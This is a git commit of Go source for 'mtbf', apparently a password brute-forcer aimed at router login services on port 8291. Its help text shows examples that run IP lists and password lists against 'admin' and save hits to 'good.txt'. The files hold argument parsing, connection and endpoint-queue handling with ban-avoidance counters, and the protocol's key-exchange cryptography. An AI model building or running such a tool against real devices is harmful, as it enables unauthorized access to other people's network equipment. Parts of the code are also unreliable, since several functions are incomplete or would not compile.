commit
b76c6dda70
@ -0,0 +1,11 @@ |
||||
* |
||||
|
||||
!/.gitignore |
||||
!*.go |
||||
!go.sum |
||||
!go.mod |
||||
|
||||
!README.md |
||||
!LICENSE |
||||
|
||||
!*/ |
@ -0,0 +1,139 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"math/big" |
||||
) |
||||
|
||||
type bigint struct { |
||||
v *big.Int |
||||
} |
||||
|
||||
func (x bigint) Add(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Add(x.v, y.v)} |
||||
} |
||||
func (x bigint) AddInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Add(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Sub(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Sub(x.v, y.v)} |
||||
} |
||||
func (x bigint) SubInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Sub(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Mul(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Mul(x.v, y.v)} |
||||
} |
||||
func (x bigint) MulInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Mul(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Div(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Div(x.v, y.v)} |
||||
} |
||||
func (x bigint) DivInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Div(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Mod(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Mod(x.v, y.v)} |
||||
} |
||||
func (x bigint) ModInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Mod(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Pow(y bigint) bigint { |
||||
return bigint{v: new(big.Int).Exp(x.v, y.v, nil)} |
||||
} |
||||
func (x bigint) PowInt(y int) bigint { |
||||
return bigint{v: new(big.Int).Exp(x.v, big.NewInt(int64(y)), nil)} |
||||
} |
||||
|
||||
func (x bigint) And(y bigint) bigint { |
||||
return bigint{v: new(big.Int).And(x.v, y.v)} |
||||
} |
||||
func (x bigint) AndInt(y int) bigint { |
||||
return bigint{v: new(big.Int).And(x.v, big.NewInt(int64(y)))} |
||||
} |
||||
|
||||
func (x bigint) Neg() bigint { |
||||
return bigint{v: new(big.Int).Neg(x.v)} |
||||
} |
||||
|
||||
func (x bigint) Empty() bool { |
||||
return x.v == nil || x.v.Sign() == 0 |
||||
} |
||||
|
||||
func (x bigint) ModExp(y, m bigint) bigint { |
||||
return bigint{v: new(big.Int).Exp(x.v, y.v, m.v)} |
||||
} |
||||
|
||||
func (x bigint) Eq(y bigint) bool { |
||||
return x.v.Cmp(y.v) == 0 |
||||
} |
||||
func (x bigint) EqInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) == 0 |
||||
} |
||||
|
||||
func (x bigint) Ne(y bigint) bool { |
||||
return x.v.Cmp(y.v) != 0 |
||||
} |
||||
func (x bigint) NeInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) != 0 |
||||
} |
||||
|
||||
func (x bigint) Lt(y bigint) bool { |
||||
return x.v.Cmp(y.v) < 0 |
||||
} |
||||
func (x bigint) LtInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) < 0 |
||||
} |
||||
|
||||
func (x bigint) Gt(y bigint) bool { |
||||
return x.v.Cmp(y.v) > 0 |
||||
} |
||||
func (x bigint) GtInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) > 0 |
||||
} |
||||
|
||||
func (x bigint) Lte(y bigint) bool { |
||||
return x.v.Cmp(y.v) <= 0 |
||||
} |
||||
func (x bigint) LteInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) <= 0 |
||||
} |
||||
|
||||
func (x bigint) Gte(y bigint) bool { |
||||
return x.v.Cmp(y.v) >= 0 |
||||
} |
||||
func (x bigint) GteInt(y int) bool { |
||||
return x.v.Cmp(big.NewInt(int64(y))) >= 0 |
||||
} |
||||
|
||||
func (x bigint) ToBytes(n int) []byte { |
||||
res := make([]byte, n) |
||||
return x.v.FillBytes(res) |
||||
} |
||||
|
||||
func NewBigint(x int) bigint { |
||||
bi := bigint{} |
||||
bi.v = big.NewInt(int64(x)) |
||||
return bi |
||||
} |
||||
|
||||
func NewEmptyBigint() bigint { |
||||
return bigint{v: nil} |
||||
} |
||||
|
||||
func NewBigintFromString(s string, p int) bigint { |
||||
bi := bigint{} |
||||
bi.v, _ = new(big.Int).SetString(s, p) |
||||
return bi |
||||
} |
||||
|
||||
func NewBigintFromBytes(b []byte) bigint { |
||||
bi := bigint{} |
||||
bi.v = new(big.Int).SetBytes(b) |
||||
return bi |
||||
} |
@ -0,0 +1,343 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"os" |
||||
"sort" |
||||
"strconv" |
||||
"strings" |
||||
"time" |
||||
) |
||||
|
||||
// ConfigParameterOptions represents additional options for a ConfigParameter.
|
||||
type ConfigParameterOptions struct { |
||||
sw, hidden, command bool |
||||
callback func() |
||||
} |
||||
|
||||
// ConfigParameter represents a single configuration parameter.
|
||||
type ConfigParameter struct { |
||||
name string // duplicated in configMap, but also saved here for convenience
|
||||
value, def interface{} // value and default value
|
||||
description string // description for this parameter
|
||||
parsed bool // true if it was successfully parsed from commandline
|
||||
opts ConfigParameterOptions |
||||
} |
||||
|
||||
var configMap map[string]ConfigParameter = make(map[string]ConfigParameter, 16) |
||||
var configAliasMap map[string]string = make(map[string]string, 4) |
||||
|
||||
var ConfigParsingFinished bool = false |
||||
|
||||
// registration
|
||||
|
||||
func genericRegister(name string, def interface{}, description string, opts ConfigParameterOptions) { |
||||
name = strings.ToLower(name) |
||||
|
||||
_, ok := configMap[name] |
||||
failIf(ok, "cannot register config parameter (already exists): \"%v\"", name) |
||||
|
||||
_, ok = configAliasMap[name] |
||||
failIf(ok, "cannot register config parameter (already exists as an alias): \"%v\"", name) |
||||
|
||||
failIf(opts.command && opts.callback == nil, "\"%v\" is defined as a command but callback is missing", name) |
||||
|
||||
p := ConfigParameter{} |
||||
p.name = name |
||||
p.value = def |
||||
p.def = def |
||||
p.description = description |
||||
p.opts = opts |
||||
|
||||
configMap[name] = p |
||||
} |
||||
|
||||
func CfgRegister(name string, def interface{}, description string) { |
||||
genericRegister(name, def, description, ConfigParameterOptions{}) |
||||
} |
||||
|
||||
func CfgRegisterEx(name string, def interface{}, description string, options ConfigParameterOptions) { |
||||
genericRegister(name, def, description, options) |
||||
} |
||||
|
||||
func CfgRegisterCallback(name string, def interface{}, description string, callback func()) { |
||||
genericRegister(name, def, description, ConfigParameterOptions{callback: callback}) |
||||
} |
||||
|
||||
func CfgRegisterCommand(name string, description string, callback func()) { |
||||
genericRegister(name, false, description, ConfigParameterOptions{command: true, callback: callback}) |
||||
} |
||||
|
||||
func CfgRegisterSwitch(name string, description string) { |
||||
genericRegister(name, false, description, ConfigParameterOptions{sw: true}) |
||||
} |
||||
|
||||
func CfgRegisterHidden(name string, def interface{}) { |
||||
genericRegister(name, def, "", ConfigParameterOptions{hidden: true}) |
||||
} |
||||
|
||||
func CfgRegisterAlias(alias, target string) { |
||||
alias, target = strings.ToLower(alias), strings.ToLower(target) |
||||
|
||||
_, ok := configAliasMap[alias] |
||||
failIf(ok, "cannot register alias (already exists): \"%v\"", alias) |
||||
|
||||
_, ok = configMap[alias] |
||||
failIf(ok, "cannot register alias (already exists as a config parameter): \"%v\"", alias) |
||||
|
||||
_, ok = configMap[target] |
||||
failIf(!ok, "cannot register alias \"%v\": target \"%v\" does not exist", alias, target) |
||||
|
||||
configAliasMap[alias] = target |
||||
} |
||||
|
||||
// acquisition
|
||||
|
||||
func CfgGet(name string) interface{} { |
||||
name = strings.ToLower(name) |
||||
parm, ok := configMap[name] |
||||
failIf(!ok, "unknown config parameter: \"%v\"", name) |
||||
|
||||
if parm.opts.sw { |
||||
return parm.parsed // switches always return true if they were parsed
|
||||
} else if parm.parsed || parm.opts.hidden { |
||||
return parm.value // parsed and hidden parms return their current value
|
||||
} else { |
||||
return parm.def // otherwise, use default value
|
||||
} |
||||
} |
||||
|
||||
func CfgGetInt(name string) int { |
||||
return CfgGet(name).(int) |
||||
} |
||||
|
||||
func CfgGetFloat(name string) float64 { |
||||
return CfgGet(name).(float64) |
||||
} |
||||
|
||||
func CfgGetIntSlice(name string) []int { |
||||
return CfgGet(name).([]int) |
||||
} |
||||
|
||||
func CfgGetBool(name string) bool { |
||||
return CfgGet(name).(bool) |
||||
} |
||||
|
||||
func CfgGetSwitch(name string) bool { |
||||
return CfgGet(name).(bool) |
||||
} |
||||
|
||||
func CfgGetString(name string) string { |
||||
return CfgGet(name).(string) |
||||
} |
||||
|
||||
func CfgGetStringSlice(name string) []string { |
||||
return CfgGet(name).([]string) |
||||
} |
||||
|
||||
func CfgGetDurationMS(name string) time.Duration { |
||||
tm := CfgGet(name).(int) |
||||
failIf(tm < -1, "\"%v\" can only be set to -1 or a positive value", name) |
||||
if tm == -1 { |
||||
tm = 0 |
||||
} |
||||
|
||||
return time.Duration(tm) * time.Millisecond |
||||
} |
||||
|
||||
// setting
|
||||
|
||||
func CfgSet(name string, value interface{}) { |
||||
name = strings.ToLower(name) |
||||
parm, ok := configMap[name] |
||||
failIf(!ok, "unknown config parameter: \"%v\"", name) |
||||
failIf(!parm.opts.hidden, "tried to set \"%v\", but it is not a hidden parameter", name) |
||||
|
||||
parm.value = value |
||||
if parm.opts.callback != nil { |
||||
parm.opts.callback() |
||||
} |
||||
|
||||
configMap[name] = parm |
||||
} |
||||
|
||||
// parsing
|
||||
|
||||
// getCmdlineParm returns a trimmed commandline parameter with specified index.
|
||||
func getCmdlineParm(i int) string { |
||||
return strings.TrimSpace(os.Args[i]) |
||||
} |
||||
|
||||
// isSlice checks if a ConfigParameter value is a slice.
|
||||
func (parm *ConfigParameter) isSlice() bool { |
||||
switch parm.value.(type) { |
||||
case []int, []uint, []string: |
||||
return true |
||||
default: |
||||
return false |
||||
} |
||||
} |
||||
|
||||
// writeParmValue saves raw commandline value into a ConfigParameter.
|
||||
func (parm *ConfigParameter) writeParmValue(value string) { |
||||
var err error |
||||
|
||||
switch parm.value.(type) { |
||||
case bool: |
||||
parm.value, err = strconv.ParseBool(value) |
||||
failIf(err != nil, "config parameter \"%v\" must be a boolean", parm.name) |
||||
case int: |
||||
v, err := strconv.ParseInt(value, 10, 0) |
||||
failIf(err != nil, "config parameter \"%v\" must be an integer", parm.name) |
||||
parm.value = int(v) |
||||
case uint: |
||||
v, err := strconv.ParseUint(value, 10, 0) |
||||
failIf(err != nil, "config parameter \"%v\" must be an unsigned integer", parm.name) |
||||
parm.value = uint(v) |
||||
case string: |
||||
parm.value = value |
||||
case []bool: |
||||
b, err := strconv.ParseBool(value) |
||||
failIf(err != nil, "config parameter \"%v\" must be a boolean", parm.name) |
||||
parm.value = append(parm.value.([]bool), b) |
||||
case []int: |
||||
i, err := strconv.ParseInt(value, 10, 0) |
||||
failIf(err != nil, "config parameter \"%v\" must be an integer", parm.name) |
||||
parm.value = append(parm.value.([]int), int(i)) |
||||
case []uint: |
||||
u, err := strconv.ParseUint(value, 10, 0) |
||||
failIf(err != nil, "config parameter \"%v\" must be an unsigned integer", parm.name) |
||||
parm.value = append(parm.value.([]uint), uint(u)) |
||||
case []string: |
||||
parm.value = append(parm.value.([]string), value) |
||||
default: |
||||
fail("unknown config parameter \"%v\" type: %T", parm.name, parm.value) |
||||
} |
||||
} |
||||
|
||||
// finalizeParm marks a ConfigParameter as parsed, adds it to a global config map
|
||||
// and calls its callback, if one is present.
|
||||
func (parm *ConfigParameter) finalizeParm() { |
||||
parm.parsed = true |
||||
configMap[parm.name] = *parm |
||||
|
||||
if parm.opts.callback != nil { |
||||
parm.opts.callback() |
||||
} |
||||
|
||||
log("cfg", 2, "parse: %T \"%v\" -> def %v, now %v", parm.value, parm.name, parm.def, parm.value) |
||||
} |
||||
|
||||
func parseAppConfig() { |
||||
log("cfg", 1, "parsing config") |
||||
|
||||
totalFinalized := 0 |
||||
|
||||
for i := 1; i < len(os.Args); i++ { |
||||
arg := getCmdlineParm(i) |
||||
if len(arg) == 0 { |
||||
continue |
||||
} |
||||
|
||||
failIf(arg[0] != '-', "\"%v\" is not a commandline parameter", arg) |
||||
arg = strings.TrimPrefix(arg, "-") |
||||
arg = strings.TrimPrefix(arg, "-") |
||||
|
||||
failIf(len(arg) == 0, "\"%v\" is not a commandline parameter", getCmdlineParm(i)) |
||||
|
||||
parm, ok := configMap[strings.ToLower(arg)] |
||||
if !ok { |
||||
alias, ok := configAliasMap[strings.ToLower(arg)] |
||||
failIf(!ok, "unknown commandline parameter: \"%v\"", arg) |
||||
|
||||
parm, ok = configMap[alias] |
||||
failIf(!ok, "alias \"%v\" references unknown commandline parameter", arg) |
||||
|
||||
log("cfg", 3, "\"%v\" is aliased to \"%v\"", alias, parm.name) |
||||
} |
||||
|
||||
failIf(parm.opts.hidden, "\"%v\" is not a commandline parameter", getCmdlineParm(i)) |
||||
failIf(parm.parsed && !parm.isSlice(), "multiple occurrences of commandline parameter \"%v\" are not allowed", parm.name) |
||||
|
||||
if !parm.opts.command { |
||||
if parm.opts.sw { |
||||
parm.writeParmValue("true") |
||||
} else { |
||||
i++ |
||||
parm.writeParmValue(getCmdlineParm(i)) |
||||
} |
||||
} |
||||
|
||||
finalizeParm(&parm) |
||||
totalFinalized++ |
||||
} |
||||
|
||||
log("cfg", 1, "parsed %v commandline parameters", totalFinalized) |
||||
ConfigParsingFinished = true |
||||
} |
||||
|
||||
func showHelp() { |
||||
log("", 0, "options:") |
||||
|
||||
parms := make([]string, 0, len(configMap)) |
||||
for key := range configMap { |
||||
parms = append(parms, key) |
||||
} |
||||
sort.Strings(parms) |
||||
|
||||
for _, parmName := range parms { |
||||
parm := configMap[parmName] |
||||
|
||||
if parm.opts.hidden { |
||||
continue |
||||
} |
||||
|
||||
header := "-" + parm.name |
||||
if len(parm.name) > 1 { |
||||
header = "-" + header |
||||
} |
||||
|
||||
aliases := []string{} |
||||
for alias, target := range configAliasMap { |
||||
if target == parm.name { |
||||
if len(alias) == 1 { |
||||
aliases = append(aliases, "-"+alias) |
||||
} else { |
||||
aliases = append(aliases, "--"+alias) |
||||
} |
||||
break |
||||
} |
||||
} |
||||
|
||||
if len(aliases) > 0 { |
||||
sort.Strings(aliases) |
||||
header = header + " (aliases: " + strings.Join(aliases, ", ") + ")" |
||||
} |
||||
|
||||
header = header + ":" |
||||
description := " (description missing)" |
||||
if parm.description != "" { |
||||
description = " " + parm.description |
||||
} |
||||
|
||||
if parm.opts.command || parm.opts.sw { |
||||
log("", 0, "%s\n%s", header, description) |
||||
} else { |
||||
log("", 0, "%s\n%s\n default: %v", header, description, parm.value) |
||||
} |
||||
} |
||||
|
||||
log("", 0, "") |
||||
log("", 0, "examples:") |
||||
log("", 0, " single target:") |
||||
log("", 0, " ./mtbf --ip 127.0.0.1 --port 8291 --login admin --password 12345678 --out-file good.txt") |
||||
log("", 0, " multiple targets with multiple passwords:") |
||||
log("", 0, " ./mtbf --ip-list ips.txt --port 8291 --login admin --password-list passwords.txt --out-file good.txt") |
||||
|
||||
os.Exit(0) |
||||
} |
||||
|
||||
func init() { |
||||
CfgRegisterCommand("help", "show program usage", showHelp) |
||||
CfgRegisterAlias("?", "help") |
||||
CfgRegisterAlias("h", "help") |
||||
} |
@ -0,0 +1,51 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"net" |
||||
"time" |
||||
) |
||||
|
||||
// Connection represents a network socket.
|
||||
type Connection struct { |
||||
dialer net.Dialer |
||||
socket net.Conn |
||||
connectTimeout time.Duration |
||||
readTimeout time.Duration |
||||
protocol string |
||||
} |
||||
|
||||
// NewConnection creates a Connection object.
|
||||
func NewConnection() *Connection { |
||||
conn := Connection{} |
||||
conn.connectTimeout = CfgGetDurationMS("connect-timeout-ms") |
||||
conn.readTimeout = CfgGetDurationMS("read-timeout-ms") |
||||
conn.protocol = "tcp" |
||||
return &conn |
||||
} |
||||
|
||||
// Connect initiates a connection to an Endpoint.
|
||||
func (conn *Connection) Connect(endpoint *Endpoint) (err error) { |
||||
conn.dialer = net.Dialer{Timeout: conn.connectTimeout, KeepAlive: -1} |
||||
conn.socket, err = conn.dialer.Dial(conn.protocol, endpoint.String()) |
||||
if err != nil { |
||||
log("conn", 2, "cannot connect to \"%v\": %v", endpoint, err.Error()) |
||||
} |
||||
|
||||
return err |
||||
} |
||||
|
||||
// SetConnectTimeout sets a custom connect timeout on a Connection.
|
||||
func (conn *Connection) SetConnectTimeout(timeout time.Duration) { |
||||
conn.connectTimeout = timeout |
||||
} |
||||
|
||||
// SetReadTimeout sets a custom read timeout on a Connection.
|
||||
func (conn *Connection) SetReadTimeout(timeout time.Duration) { |
||||
conn.readTimeout = timeout |
||||
} |
||||
|
||||
// Send writes data to a Connection.
|
||||
func (conn *Connection) Send(data []byte) { |
||||
conn.socket.SetReadDeadline(time.Now().Add(conn.readTimeout)) |
||||
|
||||
} |
@ -0,0 +1,103 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"crypto/hmac" |
||||
cryptoRand "crypto/rand" |
||||
"crypto/sha1" |
||||
"crypto/sha256" |
||||
mathRand "math/rand" |
||||
"strings" |
||||
) |
||||
|
||||
func getSHA1Digest(data []byte) []byte { |
||||
array := sha1.Sum(data) |
||||
return array[:] |
||||
} |
||||
|
||||
func getSHA2Digest(data []byte) []byte { |
||||
array := sha256.Sum256(data) |
||||
return array[:] |
||||
} |
||||
|
||||
func HKDF(data []byte) []byte { |
||||
h := hmac.New(sha1.New, []byte(strings.Repeat("\x00", 64))) |
||||
h.Write(data) |
||||
h1 := h.Sum(nil) |
||||
h2 := make([]byte, 0) |
||||
res := make([]byte, 0) |
||||
|
||||
for i := 0; i < 2; i++ { |
||||
h = hmac.New(sha1.New, h1) |
||||
h.Write(h2) |
||||
h.Write([]byte{byte(i) + 1}) |
||||
h2 = h.Sum(nil) |
||||
res = append(res, h2...) |
||||
} |
||||
|
||||
return res[:0x24] |
||||
} |
||||
|
||||
func genStreamKeys(server bool, data []byte) (sendAESKey, sendHMACKey, receiveAESKey, receiveHMACKey []byte) { |
||||
const magic2 = "On the client side, this is the send key; on the server side, it is the receive key." |
||||
const magic3 = "On the client side, this is the receive key; on the server side, it is the send key." |
||||
|
||||
var txEnc, rxEnc []byte |
||||
|
||||
txEnc = append(data, []byte(strings.Repeat("\x00", 40))...) |
||||
rxEnc = append(data, []byte(strings.Repeat("\x00", 40))...) |
||||
|
||||
if server { |
||||
txEnc = append(txEnc, magic3...) |
||||
rxEnc = append(rxEnc, magic2...) |
||||
} else { |
||||
txEnc = append(txEnc, magic2...) |
||||
rxEnc = append(rxEnc, magic3...) |
||||
} |
||||
|
||||
txEnc = append(txEnc, []byte(strings.Repeat("\xF2", 40))...) |
||||
rxEnc = append(rxEnc, []byte(strings.Repeat("\xF2", 40))...) |
||||
|
||||
txEnc = getSHA1Digest(txEnc)[:16] |
||||
rxEnc = getSHA1Digest(rxEnc)[:16] |
||||
|
||||
sendKey := HKDF(txEnc) |
||||
sendAESKey = sendKey[:16] |
||||
sendHMACKey = sendKey[16:] |
||||
|
||||
receiveKey := HKDF(rxEnc) |
||||
receiveAESKey = receiveKey[:16] |
||||
receiveHMACKey = receiveKey[16:] |
||||
|
||||
return sendAESKey, sendHMACKey, receiveAESKey, receiveHMACKey |
||||
} |
||||
|
||||
func genPasswordValidatorPriv(username, password string, salt []byte) []byte { |
||||
if len(salt) != 16 { |
||||
panic("salt must be 16 bytes") |
||||
} |
||||
|
||||
hash := getSHA2Digest([]byte(username + ":" + password)) |
||||
return getSHA2Digest(append(salt, hash...)) |
||||
} |
||||
|
||||
func genRandomBytes(n int) ([]byte, error) { |
||||
b := make([]byte, n) |
||||
|
||||
var err error |
||||
if CfgGetSwitch("crypt-predictable-rng") { |
||||
_, err = mathRand.Read(b) |
||||
} else { |
||||
_, err = cryptoRand.Read(b) |
||||
} |
||||
|
||||
if err != nil { |
||||
return nil, err |
||||
} |
||||
|
||||
return b, nil |
||||
} |
||||
|
||||
func init() { |
||||
CfgRegisterSwitch("crypt-predictable-rng", "disable secure rng and use a pseudorandom preseeded rng") |
||||
mathRand.Seed(300) |
||||
} |
@ -0,0 +1,103 @@ |
||||
package main |
||||
|
||||
type WCurve struct { |
||||
p, r, a, b, h bigint |
||||
g *JacobiPoint |
||||
montA, conversionFromM bigint |
||||
conversion bigint |
||||
} |
||||
|
||||
func NewWCurve() *WCurve { |
||||
curve := WCurve{} |
||||
|
||||
curve.p = NewBigintFromString("7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffed", 16) |
||||
curve.r = NewBigintFromString("1000000000000000000000000000000014def9dea2f79cd65812631a5cf5d3ed", 16) |
||||
curve.montA = NewBigintFromString("486662", 10) |
||||
curve.a = NewBigintFromString("2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa984914a144", 16) |
||||
curve.b = NewBigintFromString("7b425ed097b425ed097b425ed097b425ed097b425ed097b4260b5e9c7710c864", 16) |
||||
curve.h = NewBigintFromString("8", 10) |
||||
|
||||
curve.conversionFromM = curve.montA.Mul(modinv(NewBigint(3), curve.p)).Mod(curve.p) |
||||
curve.conversion = curve.p.Sub(curve.montA.Mul(modinv(NewBigint(3), curve.p))).Mod(curve.p) |
||||
curve.g = curve.liftX(NewBigint(9), false) |
||||
return &curve |
||||
} |
||||
|
||||
func (curve *WCurve) Eq(other *WCurve) bool { |
||||
return curve.p.Eq(other.p) && |
||||
curve.a.Mod(curve.p).Eq(other.a.Mod(curve.p)) && |
||||
curve.b.Mod(curve.p).Eq(other.b.Mod(curve.p)) |
||||
} |
||||
|
||||
func (curve *WCurve) containsPoint(x, y bigint) bool { |
||||
p1 := x.Mul(x).Add(curve.a).Mul(x).Add(curve.b) |
||||
return y.Mul(y).Sub(p1).Mod(curve.p).EqInt(0) |
||||
} |
||||
|
||||
func (curve *WCurve) genPublicKey(priv []byte) (pub []byte, parity bool) { |
||||
if len(priv) != 32 { |
||||
panic("invalid private key length") |
||||
} |
||||
|
||||
p := NewBigintFromBytes(priv) |
||||
pt := curve.g.Mul(p) |
||||
return curve.toMontgomery(pt) |
||||
} |
||||
|
||||
func (self *WCurve) toMontgomery(pt *JacobiPoint) (bytes []byte, parity bool) { |
||||
x := pt.AffineX().Add(self.conversion).Mod(self.p) |
||||
return x.ToBytes(32), pt.AffineY().AndInt(1).EqInt(1) |
||||
} |
||||
|
||||
func (self *WCurve) liftX(x bigint, parity bool) *JacobiPoint { |
||||
x = x.Mod(self.p) |
||||
ySquared := x.Mul(x).Mul(x).Add(self.montA.Mul(x).Mul(x).Add(x)).Mod(self.p) |
||||
x = x.Add(self.conversionFromM).Mod(self.p) |
||||
ys0, ys1 := primeModSqrt(ySquared, self.p) |
||||
if ys0.Empty() && ys1.Empty() { |
||||
return nil |
||||
} else { |
||||
pt1 := NewJacobiPoint(self, x, ys0, NewBigint(1), self.r) |
||||
pt2 := NewJacobiPoint(self, x, ys1, NewBigint(1), self.r) |
||||
|
||||
if pt1.AffineY().AndInt(1).EqInt(1) && parity { |
||||
return pt1 |
||||
} else if pt2.AffineY().AndInt(1).EqInt(1) && parity { |
||||
return pt2 |
||||
} else if pt1.AffineY().AndInt(1).EqInt(0) && !parity { |
||||
return pt1 |
||||
} else { |
||||
return pt2 |
||||
} |
||||
} |
||||
} |
||||
|
||||
func (self *WCurve) redp1(bytes []byte, parity bool) *JacobiPoint { |
||||
x := getSHA2Digest(bytes) |
||||
for { |
||||
x2 := getSHA2Digest(x) |
||||
pt := self.liftX(NewBigintFromBytes(x2), parity) |
||||
if pt == nil { |
||||
x = NewBigintFromBytes(x).AddInt(1).ToBytes(32) |
||||
} else { |
||||
return pt |
||||
} |
||||
} |
||||
} |
||||
|
||||
func (self *WCurve) check(a *JacobiPoint) bool { |
||||
ax := a.AffineX() |
||||
ay := a.AffineY() |
||||
|
||||
left := ay.Mul(ay).Mod(self.p) |
||||
right := ax.Mul(ax).Mul(ax).Add(self.a.Mul(ax)).Add(self.b).Mod(self.p) |
||||
return left.Eq(right) |
||||
} |
||||
|
||||
func (self *WCurve) multiplyByG(a bigint) *JacobiPoint { |
||||
return self.g.Mul(a) |
||||
} |
||||
|
||||
func (self *WCurve) finiteFieldValue(a bigint) bigint { |
||||
return a.Mod(self.r) |
||||
} |
@ -0,0 +1,587 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"container/list" |
||||
"errors" |
||||
"net" |
||||
"strconv" |
||||
"strings" |
||||
"sync" |
||||
"time" |
||||
) |
||||
|
||||
type Address struct { |
||||
ip string // TODO: switch to a static 16-byte array
|
||||
port int |
||||
v6 bool |
||||
} |
||||
|
||||
type Endpoint struct { |
||||
addr Address |
||||
|
||||
loginPos SourcePos |
||||
passwordPos SourcePos |
||||
|
||||
delayUntil time.Time |
||||
|
||||
normalList *list.Element |
||||
delayedList *list.Element |
||||
|
||||
goodConn int |
||||
badConn int |
||||
consecutiveGoodConn int |
||||
consecutiveBadConn int |
||||
protoErrors int |
||||
consecutiveProtoErrors int |
||||
readErrors int |
||||
consecutiveReadErrors int |
||||
|
||||
mutex sync.Mutex |
||||
|
||||
deleted bool // set to TRUE to mark this endpoint as deleted
|
||||
|
||||
// unused, for now
|
||||
rtt float32 |
||||
heuristicBanAPS int |
||||
heuristicBanPPS int |
||||
lastPacketAt time.Time // when was the last packet sent?
|
||||
lastAttemptAt time.Time // same, but for attempts
|
||||
} |
||||
|
||||
var endpoints *list.List // Contains all active endpoints
|
||||
var delayedEndpoints *list.List // Contains endpoints that got delayed
|
||||
|
||||
// A mutex for synchronizing Endpoint collections.
|
||||
var globalEndpointMutex sync.Mutex |
||||
|
||||
|
||||
// String transforms an Endpoint to a string representation compatible with Dialer interface.
|
||||
func (e *Endpoint) String() string { |
||||
if e.addr.v6 { |
||||
return "[" + e.addr.ip + "]:" + strconv.Itoa(e.addr.port) |
||||
} else { |
||||
return e.addr.ip + ":" + strconv.Itoa(e.addr.port) |
||||
} |
||||
} |
||||
|
||||
|
||||
// Delete deletes an endpoint from global storage.
|
||||
// This method assumes that Endpoint's mutex was already taken.
|
||||
func (e *Endpoint) Delete() { |
||||
globalEndpointMutex.Lock() |
||||
defer globalEndpointMutex.Unlock() |
||||
|
||||
e.delayUntil = time.Time{} |
||||
|
||||
if e.delayedList != nil { |
||||
log("ep", 3, "deleting delayed endpoint \"%v\"", e) |
||||
delayedEndpoints.Remove(e.delayedList) |
||||
e.delayedList = nil |
||||
} |
||||
|
||||
if e.normalList != nil { |
||||
log("ep", 3, "deleting endpoint \"%v\"", e) |
||||
endpoints.Remove(e.normalList) |
||||
e.normalList = nil |
||||
} |
||||
|
||||
e.deleted = true |
||||
} |
||||
|
||||
// Delay marks an Endpoint as "delayed" with the specified time duration
|
||||
// and causes it to move to the delayed queue.
|
||||
// This method assumes that Endpoint's mutex was already taken.
|
||||
func (e *Endpoint) Delay(addTime time.Duration) { |
||||
if e.deleted { |
||||
return |
||||
} |
||||
|
||||
log("ep", 5, "delaying endpoint \"%v\" for %v", e, addTime) |
||||
e.delayUntil = time.Now().Add(addTime) |
||||
e.MigrateToDelayed() |
||||
} |
||||
|
||||
// MigrateToDelayed moves an Endpoint to a delayed queue.
|
||||
// Endpoint mutex is assumed to be taken.
|
||||
func (e *Endpoint) MigrateToDelayed() { |
||||
endpointMutex.Lock() |
||||
defer endpointMutex.Unlock() |
||||
|
||||
if e.delayedList != nil { |
||||
// already in a delayed list
|
||||
log("ep", 5, "cannot migrate endpoint \"%v\" to delayed list: already in the list", e) |
||||
} else { |
||||
log("ep", 5, "migrating endpoint \"%v\" to delayed list", e) |
||||
e.delayedList = delayedEndpoints.PushBack(e) |
||||
if e.normalList != nil { |
||||
endpoints.Remove(e.normalList) |
||||
e.normalList = nil |
||||
} |
||||
} |
||||
} |
||||
|
||||
// MigrateToNormal moves an Endpoint to a normal queue.
|
||||
// Endpoint mutex is assumed to be taken.
|
||||
func (e *Endpoint) MigrateToNormal() { |
||||
endpointMutex.Lock() |
||||
defer endpointMutex.Unlock() |
||||
|
||||
if e.normalList != nil { |
||||
log("ep", 5, "cannot migrate endpoint \"%v\" to normal list: already in the list", e) |
||||
} else { |
||||
log("ep", 5, "migrating endpoint \"%v\" to normal list", e) |
||||
e.normalList = endpoints.PushBack(e) |
||||
if e.delayedList != nil { |
||||
delayedEndpoints.Remove(e.delayedList) |
||||
e.delayedList = nil |
||||
} |
||||
} |
||||
} |
||||
|
||||
// SkipLogin gets the endpoint's current login,
|
||||
// compares it with user-defined login and skips (advances) it if
|
||||
// both logins are equal.
|
||||
func (e *Endpoint) SkipLogin(login) { |
||||
// attempt to fetch next login
|
||||
curLogin, empty := SrcLogin.FetchOne(&e.loginPos, false) |
||||
if curLogin == login && !empty { // this login has not yet been exhausted?
|
||||
// reset password pos
|
||||
e.passwordPos.Reset() |
||||
|
||||
// fetch but ignore result
|
||||
SrcLogin.FetchOne(&e.loginPos, true) |
||||
|
||||
log("ep", 3, "advanced to next login for \"%v\"", e) |
||||
} |
||||
} |
||||
|
||||
// NoResponse is an event handler that gets called when
|
||||
// an Endpoint does not respond to a connection request.
|
||||
func (e *Endpoint) NoResponse() bool { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
|
||||
e.badConn++ |
||||
if e.consecutiveGoodConn == 0 { |
||||
e.consecutiveBadConn++ |
||||
} else { |
||||
e.consecutiveGoodConn = 0 |
||||
